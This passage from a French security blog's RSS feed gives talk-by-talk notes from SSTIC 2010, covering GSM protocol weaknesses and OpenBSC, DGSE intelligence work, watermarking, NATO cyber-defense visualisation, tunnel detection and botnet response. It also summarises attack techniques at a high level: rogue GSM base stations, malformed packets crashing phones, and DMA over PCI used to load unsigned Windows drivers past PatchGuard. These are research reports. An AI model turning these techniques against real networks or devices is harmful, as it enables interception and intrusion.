&lt;p&gt;Conférencier&amp;nbsp;: sebastien@honeynet.org (&lt;a href=&quot;http://logviz.blogspot.com&quot; hreflang=&quot;en&quot;&gt;Blog LogViz&lt;/a&gt;)&lt;/p&gt;


&lt;h2&gt;14:30 - La sécurité des systèmes de vote&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Frédéric Connes&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;ABSENT&lt;/p&gt;


&lt;h2&gt;15:00 - Applications Facebook&amp;nbsp;: Quels Risques pour l'Entreprise&amp;nbsp;?&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Alban Ondrejeck&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Francois-Xavier Bru&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Guillaume Fahrner&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;ABSENT&lt;/p&gt;


&lt;h2&gt;15:45 - Projet OpenBSC&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Harald Welte (conférence invitée)&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Peu de documentation publique sur les protocoles GSM/3G. Et du coup, quasiment aucune évaluation de la sécurité de l'implémentation sur ceux-ci. Les entreprises ne livrent aucune documentation (&quot;closed minded&quot;). Même les gros clients (les opérateurs) de ces produits (&quot;manufacturers&quot;) ne reçoivent que peu de documentation, et aucun code source. Peu de personnes connaissent vraiment la suite complète de protocoles. Ils connaissant juste ce qui est nécessaire au bon fonctionnent opérationnel.&lt;/p&gt;


&lt;p&gt;GSM, c'est bien plus que la gestion des communications téléphoniques. On trouve également ce protocole dans les endroits suivants&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BWM peut ouvrir/fermer les portes d'une voiture&lt;/li&gt;
&lt;li&gt;les systèmes d'alarmes&lt;/li&gt;
&lt;li&gt;applications de &quot;Smart Metering&quot;&lt;/li&gt;
&lt;li&gt;GSM-R (système de contrôle de train européen&amp;nbsp;: &quot;European Train Control System&quot;&lt;/li&gt;
&lt;li&gt;les caisses enregistreuses des supermarchés quand quand la caisse est pleine&lt;/li&gt;
&lt;li&gt;numéros de transaction pour le commerce électronique&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Les implications sécurité&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;personne ne connait les détails des protocoles et du réseau GSM à part les fabricants&lt;/li&gt;
&lt;li&gt;pas de recherches indépendantes en sécurité&lt;/li&gt;
&lt;li&gt;pas d'implémentations &quot;open source&quot; (of course, j'ai envie de dire)&lt;/li&gt;
&lt;li&gt;retard de 10 ans par rapport à la sécurité sur les protocoles régissant l'Internet
&lt;ul&gt;
&lt;li&gt;pas de firewall, de filtrage ou de détection d'intrusion&lt;/li&gt;
&lt;li&gt;les opérateurs comptent seulement sur le fait que 'ça va marcher comme prévu'&lt;/li&gt;
&lt;li&gt;pas de stratégie de gestion des incidents&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Des problèmes de spécification&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;chiffrement optionnel&lt;/li&gt;
&lt;li&gt;manque d'authentification mutuelle&lt;/li&gt;
&lt;li&gt;appels 'silencieux'&lt;/li&gt;
&lt;li&gt;obtention des coordonnées GPS de l'appareil via les protocoles RRLP et SUPL (invisible pour l'utilisateur)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Des problèmes d'implémentation&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;fuite de l'information TMSI au changement de réseau&lt;/li&gt;
&lt;li&gt;des parsers TLV peu testés&lt;/li&gt;
&lt;li&gt;options obscures et peu testées&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Des problèmes d'opérationnel&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;débordement de champ VLR&lt;/li&gt;
&lt;li&gt;ré-allocation TMSI trop peu fréquente&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Mais par où débuter la recherche sécurité&amp;nbsp;?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;à partir du combiner de téléphone&amp;nbsp;?
&lt;ul&gt;
&lt;li&gt;certains ont tenté, mais trop difficile (pas d'accès au hardware)&lt;/li&gt;
&lt;li&gt;tentatives comme TSM30 (THC GSM), mados pour les Nokia DTC3&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;à partir de la couche réseau&amp;nbsp;?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Premières étapes&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;obtenir les spécifications GSM&amp;nbsp;: &amp;gt; 1000 documents PDF&lt;/li&gt;
&lt;li&gt;obtenir un équipement réseau GSM (BTS)&lt;/li&gt;
&lt;li&gt;obtenir des traces réseaux&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&amp;nbsp;: dans une démo publique, il a fait sonner tous les téléphones de l'assistance ^^&lt;/p&gt;


&lt;p&gt;C'est une suite complexes de différentes interfaces avec leurs protocoles associés. Pour l'interface réseau GSM&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Layer1&amp;nbsp;: Radio Layer&lt;/li&gt;
&lt;li&gt;Layer2&amp;nbsp;: LAPDm&lt;/li&gt;
&lt;li&gt;Layer3&amp;nbsp;: Radio Resource, Mobility Management, Call Control&lt;/li&gt;
&lt;li&gt;Layer4+&amp;nbsp;: USSD, SMS, LCS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pour l'interface A-bis, une autre suite de protocoles ...&lt;/p&gt;


&lt;p&gt;Il a démarré ses recherches en 2006. En 2008, il a réussit à faire apparaitre son antenne comme un vrai réseau pour son téléphone.
01/2010&amp;nbsp;: les 25 premières antennes OpenBSC tournent chez des opérateurs. Mais toutes les fonctionnalités GSM ne sont pas implémentées&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;support des équipements BS-11 BTS (E1) et ip.access nanoBTS (IP Based)&lt;/li&gt;
&lt;li&gt;roaming, et envoi de SMS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&amp;nbsp;: les iPhones crashent facilement à cause de paquets ne respectant pas les spécifications. L'orateur n'a même pas eu besoin d'utiliser du fuzzing pour s'en apercevoir ...&lt;/p&gt;


&lt;p&gt;Problèmes connus des GSM&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pas d'authentification mutuelle&lt;/li&gt;
&lt;li&gt;algorithme de chiffrement faible&lt;/li&gt;
&lt;li&gt;et puis, de toute façon, le chiffrement est optionnel (et l'utilisateur ne sait pas si c'est on ou off)&lt;/li&gt;
&lt;li&gt;le réseau GSM peut demander au téléphone sa position GPS exacte&lt;/li&gt;
&lt;li&gt;des features obscures de part les spécifications&amp;nbsp;:
&lt;ul&gt;
&lt;li&gt;demander à un téléphone d'appeler tel numéro&lt;/li&gt;
&lt;li&gt;d'envoyer un FAX par SMS&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Utilisation de Scapy pour coder les différentes couches réseau.&lt;/p&gt;


&lt;p&gt;Il peut maintenant envoyer des données&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;depuis un rogue network vers les téléphones (OpenBSC, OpenBTS)&lt;/li&gt;
&lt;li&gt;depuis un proxy A-bis vers le réseau ou les téléphones&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Liens&amp;nbsp;:
&lt;a href=&quot;http://laforge.gnumonks.org/papers/gsm_phone-anatomy-latest.pdf&quot; hreflang=&quot;en&quot;&gt;GSM Phone Anatomy&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://openbsc.gnumonks.org/&quot; hreflang=&quot;en&quot;&gt;OpenBSC&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://openbts.sourceforge.net/&quot; hreflang=&quot;en&quot;&gt;OpenBTS&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://bb.osmocom.org/&quot; hreflang=&quot;en&quot;&gt;OsmocomBB&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&amp;nbsp;: environ 7/8 personnes à développer ce code.&lt;/p&gt;


&lt;h2&gt;16:45 - Rump Sessions&lt;/h2&gt;


&lt;p&gt;Les habituelles rumps, mais avec rien de vraiment extra-ordinaire cette année. Ah si, l'excellent &lt;a href=&quot;http://www.netglub.org/&quot; hreflang=&quot;en&quot;&gt;Netglub&lt;/a&gt; de l'ami Guillaume Prigent.&lt;/p&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2010/06/15/Compte-rendu-SSTIC-2010-jour-2#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2010/06/15/Compte-rendu-SSTIC-2010-jour-2#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/17</wfw:commentRss>
      </item>
    
  <item>
    <title>Compte-rendu SSTIC 2010 - jour 1</title>
    <link>http://www.protocol-hacking.org/post/2010/06/14/Compte-rendu-SSTIC-2010-jour-1</link>
    <guid isPermaLink="false">urn:md5:09ee0a254cd61fd7068fcef7d5158729</guid>
    <pubDate>Mon, 14 Jun 2010 15:06:00 +0200</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Compte-rendu</category>
        <category>conférence</category><category>SSTIC</category>    
    <description>    &lt;h3&gt;Mercredi 9 Juin 2010&lt;/h3&gt;


&lt;p&gt;Comme tous les ans, l'amphi est plein. Toujours difficile de trouver une place assise, c'est un peu lourd. Mais bon, je ne vais pas commencer par me plaindre ^^ Aller, c'est partie pour &lt;em&gt;another&lt;/em&gt; compte-rendu du SSTIC 2010.&lt;/p&gt;



&lt;h2&gt;10:00 - Systèmes d'information&amp;nbsp;: les enjeux et les défis pour le renseignement d'origine technique&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Bernard Barbier - Directeur Technique (DGSE)&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Une conférence par une personne de la DGSE est Probablement une première, du fait de la confidentialité des informations traitées. Le but est de délivrer un message aux experts sécurité que nous représentons.&lt;/p&gt;


&lt;p&gt;La DGSE est mandatée pour accomplis certaines missions. Ces missions sont définies par un décret de 1982. Une nouvelle organisation dans la &quot;communauté du renseignement&quot; qui est apparu suite à l'élection de N. Sarkozy. L'organisation est complexe, on peut citer les entités suivantes&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SGDDSN, ANSSI, DCRI,DRM, DGSE, DPSD, DNRED, TRACFIN&lt;/li&gt;
&lt;li&gt;environ 3000 personnes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Les priorités&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;contre-terrorisme&lt;/li&gt;
&lt;li&gt;contre-prolifération des armes&lt;/li&gt;
&lt;li&gt;contre-espionnage&lt;/li&gt;
&lt;li&gt;lutte contre la criminalité&lt;/li&gt;
&lt;li&gt;lutte contre la cyber criminalité&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Missions de la Direction Technique&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;voir (satellites de surveillance, exemple&amp;nbsp;: satellite Helios (&lt;a href=&quot;http://fr.wikipedia.org/wiki/Helios_(satellite)&quot; hreflang=&quot;fr&quot;&gt;http://fr.wikipedia.org/wiki/Helios_(satellite)&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;sentir (par des capteurs physiques&amp;nbsp;: pression, température, tremblements, radio-activité)&lt;/li&gt;
&lt;li&gt;écouter (interception des communications, interception de proximité (via un matériel à base de laptop, mais pas en France puisque c'est illégal ^^))&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Missions plus informatiques&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;rétro conception (casser la crypto, par exemple)
&lt;ul&gt;
&lt;li&gt;développement d'un calculateur à base de FPGA&lt;/li&gt;
&lt;li&gt;probablement le plus gros centre informatique d'Europe (après les Anglais)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;traitement des métadonnées (le contenant, le contenu)
&lt;ul&gt;
&lt;li&gt;traduction des langues étrangères (outils de transcription automatiques pour passer de l'oral à l'écrit)&lt;/li&gt;
&lt;li&gt;des péta-octets de données stockées (être capable de remonter à des données de plusieurs années pour faire, par exemple, un lien complet entre les appels téléphoniques et la chaine des personnes impliquées)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;géolocalisation (être capable de lier position et image)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Et surtout, être capable de coupler toutes ces disciplines pour avoir une vue globale.&lt;/p&gt;


&lt;p&gt;Exemple de réalisation&amp;nbsp;: libération des otages Français retenus à l'étranger.&lt;/p&gt;


&lt;p&gt;La France est dans le TOP5&amp;nbsp;: USA, GB, Israël, Chine.&lt;/p&gt;


&lt;p&gt;La lutte informatique vue de la DGSE&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un enjeu majeur de souveraineté&lt;/li&gt;
&lt;li&gt;près de 10 ans de retard par rapport aux autres pays du TOP5&lt;/li&gt;
&lt;li&gt;responsable de l'attaque, mais savoir se défendre en premier
&lt;ul&gt;
&lt;li&gt;comment faire confiance au hard/soft étranger (routeurs, anti-virus)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;on détecte mal les incidents (au moins comparé aux USA)
&lt;ul&gt;
&lt;li&gt;être capable de les détecter&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;réinventer la sécurité de SCADA (pas pensé sécurité au départ)&lt;/li&gt;
&lt;li&gt;être capable de LIO/LID (Lutte Informatique Offensive/Défensive)
&lt;ul&gt;
&lt;li&gt;intrusion par exploitation de failles, social engineering par email, laisser trainer une clé USB, ..., bref les méthodes d'intrusion classiques (mais pas depuis la France, c'est illégal ^^)&lt;/li&gt;
&lt;li&gt;très sensibles, ne pas laisser de traces (discrétion, et durée).&lt;/li&gt;
&lt;li&gt;agir à l'extérieur de la France pour ne pas enfreindre la loi française&lt;/li&gt;
&lt;li&gt;être anonyme&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La DGSE, c'est surtout deux organismes différents (l'un orienté attaque, l'autre défense)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;comment les faire travailler ensemble&amp;nbsp;?&lt;/li&gt;
&lt;li&gt;mais d'abord mettre en place la défense&lt;/li&gt;
&lt;li&gt;énormément de failles dans nos systèmes, les attaquants on peut-être 10 ans d'avance&lt;/li&gt;
&lt;li&gt;LIO est surtout utilisée pour affaiblir le système de la cible pour permettre l'écoute&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&amp;nbsp;: la DGSE a des 0days.&lt;/p&gt;


&lt;h2&gt;11:15 - Tatouage de données d’imagerie médicale – Applications et Méthodes&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Gouenou Coatrieux (Telecom Bretagne)&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Description du watermarking (embedder, reader, shared key). Applications&amp;nbsp;: copyright protection, finger printing, contrôle d'intégrité, data hiding, self-correcting image ...&lt;/p&gt;


&lt;p&gt;Deux grandes classes&amp;nbsp;: data protection, data hiding.&lt;/p&gt;


&lt;p&gt;WM pour vérifier l'intégrité de l'image et son authenticité. C'est un outil complémentaire à la crypto, il ne se substitue pas à celle-ci.&lt;/p&gt;


&lt;p&gt;Applique un hash sur les modifications à l'embedder. Puis le hash est extrait via la clé pour vérification de la signature.&lt;/p&gt;


&lt;p&gt;Tatouer le dossier médical dans l'image&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;mais grande quantité d'info.&lt;/li&gt;
&lt;li&gt;d'où l'idée du data hiding&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Comment tatouer des images sensibles (ne pas modifier l'information utile).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;utilisation d'un WM lossless (être capable d'enlever la marque)&lt;/li&gt;
&lt;li&gt;mais la sécurité est abaissée&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il faut trouver le bon compromis. Et ce n'est de toute façon pas aussi bon que la crypto. Besoin d'un standard pour évaluer la distorsion des images médicales.&lt;/p&gt;


&lt;h2&gt;12:00 - Visualisation et Analyse de Risque Dynamique pour la Cyber-Défense&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Philippe Lagadec (OTAN)&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Concerne uniquement la défense informatique.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;c'est une priorité pour l'OTAN&lt;/li&gt;
&lt;li&gt;guider une implémentation opérationnelle avec l'industrie&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Quatres phases&amp;nbsp;: &quot;Observe&quot;, &quot;Orient&quot;, &quot;Decide&quot;, &quot;Act&quot;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Observe&quot; =&amp;gt; IDS, logs, supervision, forensics&lt;/li&gt;
&lt;li&gt;&quot;Orient&quot; =&amp;gt; corrélation, analyse, détection avancée, visualisation&lt;/li&gt;
&lt;li&gt;&quot;Decide&quot; =&amp;gt; recommandation de réponses, simulation, aide à la décision&lt;/li&gt;
&lt;li&gt;&quot;Act&quot; =&amp;gt; application de la réponse (auto ou non), reconfiguration dynamique du réseau.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Aujourd'hui, uniquement &quot;Observe&quot;, et un petit peu de &quot;Orient&quot;.&lt;/p&gt;


&lt;p&gt;Avoir réponse a une question majeure&amp;nbsp;: comment est l'infrastructure en temps réel (failles, machines compromises, machines soumises à un risque d'intrustion, ...).&lt;/p&gt;


&lt;p&gt;Énormément d'outils générant de l'information sur le réseau&amp;nbsp;: &quot;NIDS&quot;, &quot;HIDS&quot;, &quot;firewall&quot;, &quot;syslog&quot;, anti-virus, vulnérabilités, ...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;mais difficulté à unifier leur format pour consolider l'information.&lt;/li&gt;
&lt;li&gt;utilisation d'outils de type &quot;SIEM&quot;.&lt;/li&gt;
&lt;li&gt;très difficile de visualiser de manière synthétique.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Visualisation&amp;nbsp;: prototype &quot;CIAP&quot; (&quot;Consolidated Information Assurance Picture&quot;)&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Information Modem&lt;/li&gt;
&lt;li&gt;Data Repository&lt;/li&gt;
&lt;li&gt;User Interface&lt;/li&gt;
&lt;li&gt;Application Interface&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Voir en temps réel les vulnérabilités et les attaques en cours.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Démo de l'outil (interface Web de visualisation).&lt;/li&gt;
&lt;li&gt;Outil RadialNet fournit avec nmap&lt;/li&gt;
&lt;li&gt;Vue Treemap&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Permet l'analyse de risque dynamique (&quot;DRA&quot;, &quot;Dynamic Risk Analysis&quot;). Processus&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;construction complète de la description du système depuis l'outil &quot;CIAP&quot;&lt;/li&gt;
&lt;li&gt;génération du graphe d'attaque (&quot;Exposure&quot;)&lt;/li&gt;
&lt;li&gt;MAJ de l'analyse de risque (&quot;Risks&quot;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Différents états possibles des machines du réseau&amp;nbsp;: normal, vulnérable, exposé, compromis.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;puis démo de l'outil de &quot;DRA&quot; (interface Web également)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;12:30 - CASTAFIOR&amp;nbsp;: Détection automatique de tunnels illégitimes par analyse statistique&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Fabien Allard&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Mathieu Morel&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;But&amp;nbsp;: détecter l'utilisation du proxy HTTP pour faire passer un tunnel TLS (exemple&amp;nbsp;: détection du P2P et de backdoors communiquant en HTTPS).&lt;/p&gt;


&lt;p&gt;Options possibles pour atteindre ce but&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;cryptanalyse des flux (couteux en ressources)&lt;/li&gt;
&lt;li&gt;coupure de chiffrement (atteinte en confidentialité)&lt;/li&gt;
&lt;li&gt;reconnaitre le protocole à l'origine du flux par analyse statistique/comportementale (option retenue)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Objectif&amp;nbsp;: déterminer le protocole à l'origine du flux chiffré.&lt;/p&gt;


&lt;p&gt;Hypothèse&amp;nbsp;: chaque protocole a un comportement caractéristique:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;échanges de paquets, tailles et temps inter-paquets&lt;/li&gt;
&lt;li&gt;c'est une empreinte qui est observable après chiffrement/encapsulation dans HTTPS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Idée&amp;nbsp;: extraire les paramètres pertinents, puis comparer ces paramètres à un modèle statistique.&lt;/p&gt;


&lt;p&gt;Fonctionnement&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BDD d'apprentissage&lt;/li&gt;
&lt;li&gt;projection de chaque observation&lt;/li&gt;
&lt;li&gt;construction d'un modèle&lt;/li&gt;
&lt;li&gt;classificiation des flux à la volée à partir du modèle.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sélection des paramètres à extraire des flux par un algorithme de sélection automatique en utilisant les plus discriminants.
Puis applications de 6 méthodes d'apprentissage statistiques pour trouver la plus pertinente dans le cas présent.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;l'algorithme RandomForest retenu (une forêt d'arbres de décision)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Puis développement d'une autre méthode basée sur les Modèles de Markov Cachés (&quot;MMC&quot;) pour une classification probabiliste.&lt;/p&gt;


&lt;p&gt;Démo&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;outil basé sur une interface Web (encore)&lt;/li&gt;
&lt;li&gt;tests basés sur la récupération de nombreux flux&lt;/li&gt;
&lt;li&gt;taux de bonne classification &amp;gt; 96%&lt;/li&gt;
&lt;li&gt;temps de classification très rapide (~ 45s pour l'apprentissage, et moins de 0.5s pour classifier un nouveau flux)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&amp;nbsp;: l'outil analyse le flux complet, et pas seulement les premiers paquets.&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;taux de fausses alarmes encore trop élevé&lt;/li&gt;
&lt;li&gt;pas de détection sur protocoles inconnus&lt;/li&gt;
&lt;li&gt;reste à analyser les méthodes de contournement&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;14:45 - Réflexions pour un plan d'action contre les botnets&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Eric Freyssinet (conférence invité) (Lieutenant-colonel en Gendarmerie)&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Présentation de l'organisation de son service en France (et DOM-TOM). Il existe un lien avec Interpol pour lutter contre les botnets. Environ 100000 gendarmes au niveau national.&lt;/p&gt;


&lt;p&gt;Les botnets sont responsables&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;de 85/90% du spam selon les sources&lt;/li&gt;
&lt;li&gt;de phishing&lt;/li&gt;
&lt;li&gt;de distribution de logiciels malveillants&lt;/li&gt;
&lt;li&gt;de collecte de données personnelles&lt;/li&gt;
&lt;li&gt;d'attaques en DDoS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Les botnets sont commercialisés&amp;nbsp;: loués, vendus, reloués, .... Les organisation derrières ceux-ci sont parfois mafieuses.&lt;/p&gt;


&lt;p&gt;Quelques exemples&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;hébergeur Atrivo sans scrupules. Fermé en septembre 2008 mais relocalisé ensuite.&lt;/li&gt;
&lt;li&gt;l'affaire McColo ... hébergeur fermé, mais les personnes n'ont pas été identifiées. Le niveau de spam a baissé suite à cette fermeture, mais il a repris son niveau normal au bout de quelques semaines.&lt;/li&gt;
&lt;li&gt;Microsoft qui fait tomber Waledec.&lt;/li&gt;
&lt;li&gt;l'affaire Mariposa (02/2010). Identification de 3 personnes contrôlant ce botnet. La société vendant ce service a aussi été identifiée (BufferFly Flooder).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;L'orateur nous parle ensuite de ses réflexions articulées autour de trois axes&amp;nbsp;: prévention, détection, réaction. Il existe de nombreux acteurs responsables des botnets&amp;nbsp;: développeurs, revendeurs, pasteurs (herders), mules, commanditaires, hébergeurs, clients, victimes.&lt;/p&gt;


&lt;p&gt;Éléments de prévention&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;sensibilisation des utilisateurs&lt;/li&gt;
&lt;li&gt;mesures de sécurisation (opérateurs, entreprises, ...)&lt;/li&gt;
&lt;li&gt;sensibiliser la population (éviter les mules, par exemple)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Éléments de détection:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;groupes de travail (lutte contre le spam, phishing, ...)&lt;/li&gt;
&lt;li&gt;entreprises (Team Cymru, ShadowServer, Eurecom &quot;FIRE&quot;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tous ces éléments de détection génèrent de la données brute de collecte. Malheureusement, il n'existe pas de format standardisé pour partager celles-ci. Néanmoins, il existe des propositions telles que&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un language commun pour la collecte de données
&lt;ul&gt;
&lt;li&gt;IODEF &quot;Incident Object Description Exchange Format&quot; (RFC 5070)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Un autre point est le stockage de ces données. Il existe un base plus ou moins commune aujourd'hui&amp;nbsp;: &quot;Cyborg&quot;. Il reste tout de même à trouver une méthodologie pour que les différents acteurs de la détection puissent travailler ensemble de manière efficace.&lt;/p&gt;


&lt;p&gt;Enfin, le volet réaction&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;groupe de travail Interpol &quot;Working Party on IT Crime - Europe&quot;&lt;/li&gt;
&lt;li&gt;rapports sur le crime dans les mondes virtuels&lt;/li&gt;
&lt;li&gt;groupe de travail Interpol &quot;Botnet project&quot;
&lt;ul&gt;
&lt;li&gt;prouver qu'il est possible d'identifier et faire fermer un botnet&lt;/li&gt;
&lt;li&gt;des invités de la &quot;Team Cymru&quot;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Quelques pistes législatives&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;actions maitrisées sur les réseaux
&lt;ul&gt;
&lt;li&gt;bloquer la propagation des menaces&lt;/li&gt;
&lt;li&gt;prendre le contrôle de botnets et forcer le nettoyage&lt;/li&gt;
&lt;li&gt;utiliser le botnet pour nettoyer les machines infectées (interdit aujourd'hui)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;considérer l'envoi de spam comme un délit (en fonction d'un certain seuil)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;15:30 - virtdbg: un débogueur noyau utilisant la virtualisation matérielle&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Christophe Devine&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Damien  AUMAITRE&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Pour débuguer un programme sous Windows, il existe le mode de boot &quot;DEBUG&quot;. Malheureusement, ce mode désactive certaines protections Windows tel que &quot;PatchGuard&quot; ou les &quot;DRM&quot;. La présentation s'attache au développement d'un débugueur pour Windows 7 64-bits qui contourne ces limitations. Quelques problèmes se posent ensuite, tels que la signature des &quot;drivers&quot; (un débuguer efficace doit tourner en mode &quot;driver&quot;).&lt;/p&gt;


&lt;p&gt;Mais ensuite comment hooker l'IDT si PatchGuard est activé&amp;nbsp;? Et comment contourner la vérification de la signature d'un &quot;driver&quot;&amp;nbsp;?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la réponse est l'utilisation de &quot;DMA&quot; sur bus &quot;PCI&quot; pour exécuter du code arbitraire, et ainsi charger un &quot;driver&quot; non signé.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Le &quot;driver&quot; établira un canal de communication utilisant l'accès &quot;DMA&quot; en mémoire physique. Avantages et but de la solution &quot;VirtDbg&quot;&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;grande furtivité (comme &quot;BluePill&quot;).&lt;/li&gt;
&lt;li&gt;empreinte minimal sur la cible (déport des fonctions vers le client).&lt;/li&gt;
&lt;li&gt;utiliser le moins possible les fonctions de l'OS.&lt;/li&gt;
